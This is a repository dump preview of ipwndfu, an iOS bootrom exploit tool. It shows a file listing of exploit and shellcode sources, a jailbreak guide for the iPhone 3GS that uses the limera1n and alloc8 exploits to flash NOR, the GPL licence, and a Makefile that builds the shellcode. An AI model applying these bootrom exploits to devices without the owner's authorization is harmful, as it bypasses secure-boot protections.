Full Code of LinusHenze/ipwndfu_public for AI

master 56dd31eab545 cached
55 files
416.9 KB
114.2k tokens
468 symbols
1 requests
Download .txt
Showing preview only (435K chars total). Download the full file or copy to clipboard to get everything.
Repository: LinusHenze/ipwndfu_public
Branch: master
Commit: 56dd31eab545
Files: 55
Total size: 416.9 KB

Directory structure:
gitextract_jeow6lyw/

├── .gitignore
├── JAILBREAK-GUIDE.md
├── LICENSE
├── Makefile
├── README.md
├── SHAtter.py
├── aes-keys/
│   └── S5L8920-firmware
├── alloc8.py
├── checkm8.py
├── device_platform.py
├── dfu.py
├── dfuexec.py
├── ibootpatcher
├── image3.py
├── image3_24Kpwn.py
├── ipwndfu
├── ipwnrecovery
├── libusbfinder/
│   └── __init__.py
├── limera1n.py
├── nor-backups/
│   └── README
├── nor.py
├── recovery.py
├── rmsigchks.py
├── rmsigchks_t8015.py
├── src/
│   ├── 24Kpwn-shellcode.S
│   ├── SHAtter-shellcode.S
│   ├── alloc8-shellcode.S
│   ├── checkm8_arm64.S
│   ├── checkm8_armv7.S
│   ├── ibss-flash-nor-shellcode.S
│   ├── limera1n-shellcode.S
│   ├── steaks4uce-shellcode.S
│   ├── t8010_t8011_disable_wxn_arm64.S
│   ├── usb_0xA1_2_arm64.S
│   └── usb_0xA1_2_armv7.S
├── steaks4uce.py
├── usb/
│   ├── ACKNOWLEDGEMENTS
│   ├── LICENSE
│   ├── README.rst
│   ├── __init__.py
│   ├── _debug.py
│   ├── _interop.py
│   ├── _lookup.py
│   ├── _objfinalizer.py
│   ├── backend/
│   │   ├── __init__.py
│   │   ├── libusb0.py
│   │   ├── libusb1.py
│   │   └── openusb.py
│   ├── control.py
│   ├── core.py
│   ├── legacy.py
│   ├── libloader.py
│   └── util.py
├── usbexec.py
└── utilities.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
*.pyc
nor-backups/nor-*
libusbfinder/libusb-*
SecureROM-*
n88ap-iBSS-4.3.5.img3
*.ipsw


================================================
FILE: JAILBREAK-GUIDE.md
================================================
# Jailbreak guide for iPhone 3GS (new bootrom)

### Steps

1. Backup your data. Everything will be removed from your phone as it is a **full** restore.

2. [Generate a custom 24Kpwn IPSW for iPhone 3GS (old bootrom)](#how-to-create-a-24kpwn-ipsw).

3. [Restore to this custom IPSW on your iPhone 3GS (new bootrom)](#how-to-restore-to-a-custom-ipsw).

4. After restore is complete, your phone will connect back to your computer in DFU Mode. The screen will be black. This is expected. 24Kpwn exploit does not work on iPhone 3GS (new bootrom).

5. Use ipwndfu to put your device into pwned DFU Mode:

```
$ ./ipwndfu -p
*** based on limera1n exploit (heap overflow) by geohot ***
Found: CPID:8920 CPRV:15 CPFM:03 SCEP:03 BDID:00 ECID:XXXXXXXXXXXXXXXX SRTG:[iBoot-359.3.2]
Device is now in pwned DFU Mode.
```

6. Once in pwned DFU Mode, use the -x flag to install the alloc8 exploit. This step will replace 24Kpwn exploit with alloc8.

```
$ ./ipwndfu -x
Installing alloc8 exploit to NOR.
Dumping NOR, part 1/8.
Dumping NOR, part 2/8.
Dumping NOR, part 3/8.
Dumping NOR, part 4/8.
Dumping NOR, part 5/8.
Dumping NOR, part 6/8.
Dumping NOR, part 7/8.
Dumping NOR, part 8/8.
NOR backed up to file: nor-backups/nor-XXXXXXXXXXXXXXXX-20170409-224258.dump
Sending iBSS.
Waiting for iBSS to enter Recovery Mode.
Sending iBSS payload to flash NOR.
Sending run command.
If screen is not red, NOR was flashed successfully and device will reboot.
```

#### Notes:
* Installation takes about 30 seconds. Once NOR is being flashed, the screen will be green for about 10 seconds, and then your phone will reboot.

* If there are any errors before the screen turned green, it is safe to try again.

* If the screen turns red, something went wrong while your phone was being flashed. Trying again probably won't help.

* If there are no issues, the phone will reboot and automatically boot into iOS.





### 3 second delay during boot when using a phone jailbroken with alloc8

alloc8 exploit takes about 3 seconds to run.

When your phone is off, to turn it on you will need to keep holding the Power button for at least 3 seconds, or your phone will not turn on. This might be because LLB protects against accidental presses of the Power button by shutting down the phone if the power button is not being held anymore. Without an exploit it takes less than a second before this check happens, but with alloc8 exploit it will happen after about 3 seconds. It might be possible to change this behavior by patching LLB.

If your phone enters deep sleep, there will be a 3 second delay before it wakes up. This can be fixed if you disable deep sleep with a tweak from Cydia, but your phone's battery life will decrease.


### Where to download older IPSWs

Always download IPSWs directly from Apple, because IPSWs from other sites could be infected with malware.

There is a trusted site where you can find legitimate Apple download links for older IPSW files:

https://ipsw.me/


### How to create a 24Kpwn IPSW

| iOS version | Tool                                                                                            |
|-------------|-------------------------------------------------------------------------------------------------|
| iOS 3.1     | [PwnageTool 3.1.3](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.3.dmg) |
| iOS 3.1.2   | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) |
| iOS 3.1.3   | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) |
| iOS 4.0     | [PwnageTool 4.01](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_4.01.dmg)   |
| iOS 4.3.3   | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w)                            |
| iOS 5.0     | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w)                            |
| iOS 5.0.1   | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w)                            |
| iOS 5.1     | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w)                            |
| iOS 5.1.1   | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w)                            |

#### Notes on using redsn0w 0.9.15b3

```
Q: Will this custom IPSW be used on a newer (fixed) version of the iPhone3GS?
A: No
```

You must answer No to create a 24Kpwn IPSW using redsn0w. If you did this correctly, the name of the custom IPSW from redsn0w will start with ```NO_BB_OLDROM_iPhone2,1```.


### Compatibility with older iOS versions

Newer phones might not support some older versions of iOS. You cannot brick your phone by attempting to restore an older version of iOS, so it might be worth it to try anyway. If iTunes restore fails with Error 28, the hardware of your phone is not compatible with that version of iOS.

| Manufactured | Error 28   | Success    |
|--------------|------------|------------|
| Week 38 2010 | N/A        | 3.1+       |
| Week 48 2010 | N/A        | 3.1+       |
| Week  3 2011 | 3.x        | 4.3.3+     |
| Week 14 2011 | 3.x        | 4.0+       |
| Week 23 2011 | N/A        | 3.1.2+     |
| Week 29 2011 | 3.x        | 4.0+       |
| Week 36 2011 | 3.x        | 4.0+       |
| Week 26 2012 | 3.x, 4.x   | 5.0+       |

You can find the week and year of manufacture by looking at the serial number of your phone. If your phone is from 2011 or 2012, help me expand this list and let me what versions worked or didn't work.


### Decoding iPhone 3GS serial number

```
Serial number: AABCCDDDEE
AA = Device ID
B = 2009=9, 2010=0, 2011=1, 2012=2
CC = Week of production
DDD = Unique ID
EE = Color
```


### How to restore to a custom IPSW

1. Enter DFU Mode: https://www.theiphonewiki.com/wiki/DFU_Mode

2. Run exploit to put your phone into pwned DFU Mode. You can use `./ipwndfu -p`.

3. Any version of iTunes should work. In iTunes, hold Option (or SHIFT if using Windows) and click Restore. You should be prompted to choose a file. Choose your custom IPSW.


================================================
FILE: LICENSE
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    {one line to give the program's name and a brief idea of what it does.}
    Copyright (C) {year}  {name of author}

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    {project}  Copyright (C) {year}  {fullname}
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.


================================================
FILE: Makefile
================================================
all: armv6 armv7 arm64

armv6:
	arm-none-eabi-as -march=armv6 -mthumb --fatal-warnings -o bin/steaks4uce-shellcode.o src/steaks4uce-shellcode.S
	arm-none-eabi-objcopy -O binary bin/steaks4uce-shellcode.o bin/steaks4uce-shellcode.bin
	rm bin/steaks4uce-shellcode.o

armv7:
	arm-none-eabi-as -mthumb --fatal-warnings -o bin/limera1n-shellcode.o src/limera1n-shellcode.S
	arm-none-eabi-objcopy -O binary bin/limera1n-shellcode.o bin/limera1n-shellcode.bin
	rm bin/limera1n-shellcode.o

	arm-none-eabi-as -mthumb --fatal-warnings -o bin/SHAtter-shellcode.o src/SHAtter-shellcode.S
	arm-none-eabi-objcopy -O binary bin/SHAtter-shellcode.o bin/SHAtter-shellcode.bin
	rm bin/SHAtter-shellcode.o

